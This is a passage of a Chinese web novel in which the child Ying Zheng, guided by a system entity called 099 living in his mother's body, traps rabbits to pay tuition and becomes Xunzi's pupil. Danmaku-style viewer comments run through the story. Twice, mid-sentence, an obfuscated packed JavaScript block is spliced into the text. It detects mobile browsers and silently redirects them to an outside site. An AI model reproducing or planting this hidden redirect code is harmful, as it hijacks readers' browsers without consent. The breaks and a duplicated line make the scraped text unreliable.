099上线的时候,看到的就是这副光景,三岁的小东西,盘着腿,腰挺得笔直,眼睛在月光下亮得像两盏灯。 “阿娘。” “嗯。” “今天那个老人,是谁?” 099已经翻过赵姬白天的记忆了,她蹲下来,与嬴政平视:“他叫荀况。是当今天下最博学的人之一。” “比阿娘还博学?” 099顿了一下:“不一样的博学,阿娘懂的东西,他不懂,他懂的东西,阿娘也不太懂。” 嬴政想了想:“那他教政儿阿娘不懂的那些。” 099问:“你想拜他为师?” 嬴政点头:“嗯,政儿想。” 099看着他。三岁的孩子,说出这句话的时候,语气不像在商量。而是在陈述一个已经做好的决定。 她打开系统扫描,调出荀子的数据面板。 【姓名:荀况】 【年龄:约七十岁】 【智力:S级】 【身份:儒学大家,曾任兰陵令】 【备注:法家代表人物李斯、韩非之师】 S级。 099的数据流一阵波动。 S级,战国顶级智力,活的,就在四公里外。 她面无表情,但系统后台的情感波动值悄悄跳了+2.1%。 【弹幕】: 【她激动了。】 【面瘫激动就是数据流波动。】 【099:我不激动,我只是数据流波动。】 【S级大佬,活的,就在四公里外。】 【崽你什么眼光,一盯就盯上战国顶配。】 099面上不动声色,只是点了点头:“好,但拜师需要束脩。” “束脩是什么?” “十条肉干,送给老师,表示尊敬。” 嬴政沉默了,他知道家里没有肉干,连干饼都快没有了。他低头,看着自己的手指,三岁的孩子,手指又短又小。 但他攥了攥拳头:“政儿想办法。” 第二天,赵姬知道嬴政要拜师的事,先是一愣,然后笑了。 “拜师?你才多大?人家能收你?” 嬴政没理她,自己蹲在柴房门口,用树枝在地上画圈。 赵姬走过去,蹲下来:“政儿,咱家连饭都快吃不上了,哪来的肉干?十条呢。” 嬴政抬起头,看着她,那双眼睛,不哭不闹,就那么看着她。 赵姬被他看得有点发毛,别过脸去:“你别看我,我又变不出肉干。” 光是吃饱饭都是难的,哪里有闲钱去读书。 嬴政收回目光,继续画圈,画了一会儿,他站起来,拍了拍身上的土,往学馆的方向走去。 赵姬在后面喊:“你干什么去?” “想办法。” 三岁的孩子,声音不大,但很稳。 赵姬站在柴房门口,看着那个小小的背影,觉得这孩子,不像她,也不像嬴异人。 像谁呢? 她说不上来。 但她注意到一件事:政儿走路的时候,腰是直的。不像别的孩子那样弯腰驼背的。 像“她”。 【弹幕】: 【赵姬终于发现了。】 【走路腰直,这是099的体态。】 【被系统养大的崽,连走路都像系统。】 【赵姬:我儿子越来越像住在我身体里的那个人了。】 是夜,099刚上线,嬴政就从地铺上爬起来了。他走到她面前,仰着脸,说了一句话:“阿娘,教政儿抓兔子。” 099低头看着他:“抓兔子?” 嬴政回答:“兔子肉,做肉干。” 099的数据流转了两圈,她明白了,这小东西,要自己挣束脩。 她蹲下来:“你确定?抓兔子不容易。” “政儿知道。”嬴政顿了顿,“但政儿小,跑不快,阿娘跑得快。” 099:“……” 【弹幕】: 【他是在指挥099干活吗?】 【三岁,指挥系统,可以。】 【秦始皇:我负责动脑,你负责动手。】 【这就是领导力吗?】 099沉默了片刻,然后站起来:“行,你说怎么抓。” 嬴政的眼睛亮了,他蹲下来,用树枝在地上画。画了一个圈,又画了一个小口子。 “阿娘说过,兔子早晨出来吃草,洞口朝东,太阳出来的时候,兔子会从东边出来。” 099看着地上那个圈,想起自己两个月前确实讲过“观察动物习性”那堂课。 她随口讲的,这孩子记住了,还知道怎么用。 “然后呢?”她问。 “然后……”嬴政抬起头,“阿娘说的那个陷阱,用绳子和树枝的那个,政儿记得。” 099顿了一下。她确实讲过一种简易套索陷阱。用一根有弹性的树枝,一根绳子,一个活结。兔子踩进去,树枝弹起来,活结收紧。 她讲的时候,嬴政在玩泥巴。她以为他没听。 “你记得?” 嬴政点头,他伸出两只小手,比划:“树枝要弯的,绳子要结实,活结要松,兔子脚踩进去才能收紧。” 099盯着他看。 【情感波动值:+3.2%】 她没说话,转身出了柴房。 月光下,099在山坡上找了一棵有弹性的小树,砍下来,削成陷阱的弓臂。 嬴政蹲在旁边,递藤蔓,他够不着,就站起来踮脚,把藤蔓举过头顶。 “阿娘,这个。” 099接过去,继续编。 嬴政又捡了一根绳子,放在她手边:“这个结实。” 099看了他一眼。三岁的孩子,不知道什么时候学会分辨绳子的粗细了。 她没问,继续干活,陷阱做成的时候,天快亮了。 099把陷阱安在一个朝东的兔子洞口,用树叶和土盖好。 嬴政蹲在旁边,检查了一遍,然后点了点头:“可以。” 【弹幕】: 【工头嬴政。】 【秦始皇三岁就开始搞工程了。】 【这个陷阱能抓到兔子吗?】 第一天,没抓到。 嬴政蹲在陷阱旁边,看了很久。他伸手摸了摸活结的位置,又看了看兔子脚印的方向。 “阿娘,兔子从这边绕过去了。” 099低头,地上确实有一串脚印,绕过了陷阱。 嬴政抬起头:“活结太紧了,兔子踩到边上的树枝,就不往前走了。” 099看着他,三岁的孩子,蹲在兔子洞口,分析一只兔子为什么没上当。 她蹲下来反问:“那怎么改?” 嬴政想了想:“活结再松一点,树枝用更细的,兔子踩上去不会怕。” 099按照他的要求,重新调整了陷阱。 第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459170|201265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二天,没抓到。 嬴政又蹲在洞口看了一会儿:“树枝太硬了。换一根软一点的。” 第三天,没抓到。 嬴政没有蹲在洞口了,他坐在洞口旁边,看了一个早晨。 “阿娘,风向不对,兔子闻到了。” 099把陷阱往洞口下风向挪了半尺。 第四天清晨,远远地,嬴政就看到陷阱那里有动静。 一只灰兔,后腿被套住,正在挣扎。 嬴政跑过去,蹲下来,看着那只兔子。兔子瞪着眼睛看他。 嬴政看了几秒,然后回头,对着远处的方向喊了一声。 “阿娘,抓到了。” 099从山坡上走下来,看到那只兔子,又看了看嬴政。 小东西脸上没有兴奋,没有得意。他蹲在那里,认真地研究兔子的腿是怎么踩进活结的。 “阿娘,这个活结,再改一下,下次能收更快。” 099:“……” “你先想着,我杀兔子。” 【弹幕】: 【三岁,复盘技术,秦始皇恐怖如斯。】 【他关心的是机制,不是结果。】 【这就是3S级吗???】 【099:我养的是工程师,不是猎人。】 接下来的半个月,嬴政每天早晨去检查陷阱,每天晚上跟099复盘改进。 他负责口述原理,099负责动手执行。 第二只,第三只,第四只,到第十天,抓到了第八只兔子。 嬴政蹲在柴房门口,用树枝在地上写数字,他不会写字,但会画竖线,八条竖线,整整齐齐。 “还差两只。”他说。 赵姬路过,看了一眼那八条竖线,又看了一眼堆在角落的兔子皮。她张了张嘴,想说什么,又咽了回去。 这孩子,从没跟她说过一句“阿娘帮我”。 他只是在做。 赵姬转身,去灶台边烧水,她帮不上忙,至少能把兔子处理干净。 第十五天,第十只兔子到手。 099把兔子肉切成条,用盐腌了,挂在灶台上方熏干。 嬴政搬了一把小凳子,踩上去,踮着脚,把盐罐递给赵姬:“阿娘,盐。” 赵姬接过去,眼眶有点红,她没让嬴政看到。 肉干做好的那天,嬴政把它们整整齐齐码在一块洗干净的布里,系好。 肉干做好的那天,嬴政把它们整整齐齐码在一块洗干净的布里,系好。 赵姬站在灶台边,看着那个布包,十条肉干,她想起两个月前,自己坐在柴房里,盘算着改嫁的事。想起里正家门口那个女人脸上的青紫印子,想起自己对自己说:不能嫁。 那时候她不知道不嫁之后怎么办,现在她知道了,她儿子嬴政,替她找到了路。 赵姬转过身,继续烧水,眼泪掉进锅里,她没擦。 嬴政换了一身干净的衣服,赵姬特意洗的,虽然打了补丁,但很干净。他对着陶盆里的水,照了照自己的脸,伸手把额前的头发捋到一边。 嬴政抬头问赵姬:“阿娘,政儿好看吗?” 赵姬哭笑不得:“好看。” 嬴政点了点头,抱起那包肉干,走出柴房。 赵姬跟在后面,看着他小小的背影,一步一步,稳稳当当。 学馆。 荀子正在院子里看书。 嬴政走进去,没有犹豫,他走到荀子面前,跪下。不是赵姬教的,也不是099教的。他自己会的。 12.第 12 章 嬴政把布包举过头顶:“先生,这个是小人的束脩。” 荀子低头,看着那个布包,布是旧布,打了补丁,打开,十条肉干,大小不一,有的还碎了一角,但整整齐齐地码着。 荀子抬起头,看着跪在地上的孩子,三岁,瘦小,手上有茧,但腰挺得笔直,双眼明亮有神。 荀子抚须,问道:“你叫什么?” 嬴政拱手回道:“赵政。” “几岁?” 嬴政伸出三根手指,“政三岁了。” 荀子微微点头:“你想拜我为师?” “是。” “可知拜师要学什么?” 嬴政想了想,抿嘴认真道:“学做人,学做事,学让天下人都吃饱饭。” 荀子顿住。他教了一辈子书,收过无数学生。有人为名利,有人为学问,有人为做官。 却很少人说,为了让天下人都吃饱饭。 荀子沉默了片刻,又问:“何为仁?” 嬴政想了想:“仁者爱人,但爱要有规矩,没规矩的爱,是害。” 荀子的眼睛亮了,这不是一个三岁孩子能说出的话,但他说出来了。 嬴政想起某个夜晚,099抱着嬴政看月亮。 嬴政问:“阿娘,什么叫仁?” 099想了想:“仁,就是爱人。但爱不是什么都给,是要让他学会自己走路。” 嬴政歪着头:“就像阿娘让政儿自己想办法抓兔子?” 099顿了一下:“……对。” 那个夜晚的对话,此刻从嬴政口中说了出来,化成了他自己的话。 荀子当然不知道这些。他只是看着这个孩子,觉得那双眼睛里有一种他从未见过的东西。 他问:“谁教你的?” 嬴政眨了眨眼:“阿娘。” “赵夫人?” 嬴政没有回答这个问题,他低下头,过了一会儿,又抬起来。 “先生,束脩在此,政儿能拜师了吗?” 荀子看着赵政那双眼睛,黑亮的,不躲不闪,他教了一辈子书,见过太多学生。有人带着锦盒装的束脩,有人带着父辈的书信,有人带着满腔抱负。 但没有一个人,像这个孩子一样。布是旧的,打了补丁;肉干大小不一,有的还碎了一角。但每一块,都是他自己挣的。 荀子想起自己年轻时,在赵国,第一次拜师。老师问他:“你拿什么当束脩?” 他拿不出,老师说:“拿你的志向当束脩。” 荀子低下头,看着石台上那个旧布包。 荀子笑了:“善,束脩可赊。” 嬴政一愣:“赊?” “你带来的这些,不够。”荀子把布包放在旁边的石台上,“但拜师之后,你需每日为学馆洒扫,以为抵偿。” 嬴政点头:“政儿会扫地。” “还有。” 嬴政抬头。 荀子看着他,慢慢说:“既入我门下,便要守我规矩。第一,不许仗势欺人。第二,不许半途而废。第三——” 他顿了顿:“不许在院子里玩泥巴。” 嬴政认真地点了点头:“政儿不玩泥巴,泥巴脏。” 荀子:“……可。” 【弹幕】: 【秦始皇三岁就嫌泥巴脏了。】 【洁癖名场面预定,】 【荀子:我教了一辈子书,第一次被学生嫌弃院子脏。】 嬴政站起来,拍了拍膝盖上的土。然后他低头看了看自己的手,刚才跪在地上,掌心沾了灰。 他皱了皱眉:“先生,洒扫之前,政儿能先洗手吗?” 荀子看了一眼他那双干干净净的小手,又看了一眼他脸上那副不洗不行的表情。 “可。” 嬴政转身,走向院子角落的水缸。他踮起脚,舀了半瓢水,仔仔细细地洗了两遍手。洗完,还凑到鼻子边闻了闻。确认没味道了,才走回来。 荀子看着这一幕,沉默了,他觉得,这个学生,可能比他教过的所有学生,都难带。不是因为笨,是因为太讲究了。 远处,赵姬站在学馆门口,看着嬴政洗完手走回来的样子,眼泪终于掉下来了。 她赶紧用袖子擦掉,她不知道的是,在她身体深处,099也激动了。 【情感波动值:+12.7%】 【警告:情感波动超过安全阈值。】 【建议:立即进行情感隔离。】 099没有隔离,她关掉能量面板又打开,备注:三岁,没有靠任何人,崽争气。 她合上备忘录,看着那个正在跟荀子行拜师礼的小小身影。 系统面板上,能量槽还在闪烁:5.2%。她没有看,她把面板关掉了。 窗外的阳光,正好照在他身上。 那一刻,099想,如果能量明天就耗尽,她也没有遗憾了。但这个念头只存在了一瞬,她把它压下去了,因为政儿明天还要来学馆洒扫,她得看着他。 “还能撑几天。”她想。 远处,廊下,一个青年站在那里,看到了这一幕。 他问旁边的人:“那个孩子是谁?” 旁边的人摇头:“不知道。新来的吧。” 青年没再问,他看着那个孩子的背影,看了片刻。 他想起自己年轻时,在楚国上蔡,也是这么大的时候,第一次看到郡守出巡的车队。那时候他就想:我要成为那样的人。 现在,他在兰陵学馆,拜在荀子门下,离“那样的人”还很远。 但他有一种奇怪的感觉,刚才那个孩子,将来会比他走得更远。 李斯摇了摇头,把这个荒唐的念头甩掉。 一个三岁的孩子,能走多远? 他转身走了。 他不知道,很多年以后,他会跪在这个孩子面前,称他“陛下”。 嬴政从学馆出来的时候,太阳已经西斜了,他站在门口,回头看了一会儿。 院子里的槐树,石台上的竹简,廊下那个正在看他的青年,他把这些都记住了。然后他转身,走向等在路边的赵姬。 “阿娘,回家。” 赵姬蹲下来,把他抱起来,他没有像以前那样把脸埋进她颈窝里,他挺着腰,越过赵姬的肩膀,看着越来越远的学馆。 明天,他会再来。后天,大后天,以后的每一天。 【——公元前255年,秋,兰陵,嬴政,三岁。】 。。。。。 拜师之后,赵姬在学馆附近赁了间陋室。 三间土房,一个院子,院子里有棵银杏树。 嬴政站在院子里,低头看了看脚下坑坑洼洼的地面,皱了皱眉:“阿娘,地不平。” 赵姬看着他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17460594|201265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把石头一块块塞进坑里,码得整整齐齐,叹了口气。 “……你才三岁,别这么讲究。” 嬴政头也不抬:“地不平,走路会摔。” 赵姬张了张嘴,发现自己居然被一个三岁孩子说服了。她看着那个小小的背影,蹲在地上,把石头码得像列队的士兵,算了,爱垫就垫吧。 【弹幕】 【秦始皇三岁就开始搞基建了。】 【垫院子,修驰道的雏形。】 【洁癖+强迫症,这个秦王不好伺候。】 【但他说得对啊,地不平走路确实会摔】 学馆的门在晨光中打开了。 嬴政站在门口,手里拿着赵姬缝的书袋。说是书袋,其实就是两块旧布缝在一起,边上还绣了个政字。 赵姬绣的时候扎了三次手,最后是099夜里上线帮她收的针脚。 嬴政低头看了看那个政字,伸手摸了摸,很珍惜。然后他抬起头,门里面,是一个他从没见过的世界。 青石铺的院子,几株老槐树,树荫下摆着十几张矮案。弟子们三三两两地走进来,有的抱着竹简,有的提着书袋,有的嘴里还嚼着干饼。 看到门口站着个三岁娃娃,都错愕了一下。 “这谁家孩子?” “不知道,来送饭的?” “送饭的能站门口?怕是来求学的吧。” “求学?断奶了没?” 几个年轻弟子笑出声来。 赵姬站在嬴政身后,听见这些话,脸色一变,正要开口。 嬴政已经迈进去了,他走过那些比他高半截的矮案,走过那些低头看他的大人,一直走到堂前。 荀子正坐在堂上。 嬴政站定,躬身行礼:“政拜见先生。” 荀子打量着他。三岁的孩子,穿一身洗得发白但整齐的葛衣,袖口挽了两道,露出细细的手腕,脸上没有怯,眼睛里没有躲。 “政儿。”荀子开口,“你为何要读书?” 堂下安静了一瞬,弟子们都竖起了耳朵。 嬴政想了想:“为了以后遇到不懂的事,知道去哪里找答案。” 荀子顿了一下,这不是标准答案。 标准答案是“明理”、“修身”、“齐家治国”。他教了几十年书,每个学生都是这么答的。但这个孩子说,为了以后遇到不懂的事,知道去哪里找答案。 荀子微微挑眉,他没有点头,也没有摇头,只是又问了一句。 “《诗》三百,你读过哪些?” 嬴政没有回答读过哪些,他开口了: “关关雎鸠,在河之洲。窈窕淑女,君子好逑……” 堂下的窃笑声,一点一点地消失了。 “……参差荇菜,左右采之。窈窕淑女,琴瑟友之……” 有人放下了手里的竹简,有人嘴里的干饼忘了嚼。 嬴政还在背,从《关雎》到《鹿鸣》,从《鹿鸣》到《文王》,他没有停,没有卡,没有漏一个字。 他背完最后一句,停下来。 学馆里安静得像空了一样。 赵姬站在门口,嘴张着,忘了合上。她不知道嬴政会背这些,她甚至不知道《诗》是什么。但她发现了一件事,那些刚才还在笑的同门,现在一个笑的都没有了。 荀子看着嬴政,满意地点头:“谁教你的?”